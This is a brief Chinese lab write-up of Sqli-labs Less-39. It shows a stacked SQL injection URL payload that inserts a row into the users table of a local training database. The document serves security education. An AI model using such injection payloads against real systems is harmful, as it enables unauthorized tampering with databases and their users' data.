和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1

也就是数字型注入,我们可以构造以下的payload:

http://127.0.0.1/sql/Less-39/index.php?id=1;insert into users(id,username,password) values ('39','less39','hello')--+

Sqli-labs Less-39 堆叠注入

通过数据表中可以看到添加的less-39项。

Sqli-labs Less-39 堆叠注入

相关文章:

  • 2021-11-29
  • 2021-11-13
  • 2021-10-11
  • 2021-05-22
  • 2021-09-25
  • 2021-08-07
  • 2022-12-23
  • 2021-10-19
猜你喜欢
  • 2021-05-20
  • 2021-07-20
  • 2021-05-20
  • 2021-05-27
  • 2021-06-12
  • 2021-11-28
  • 2022-01-10
相关资源
相似解决方案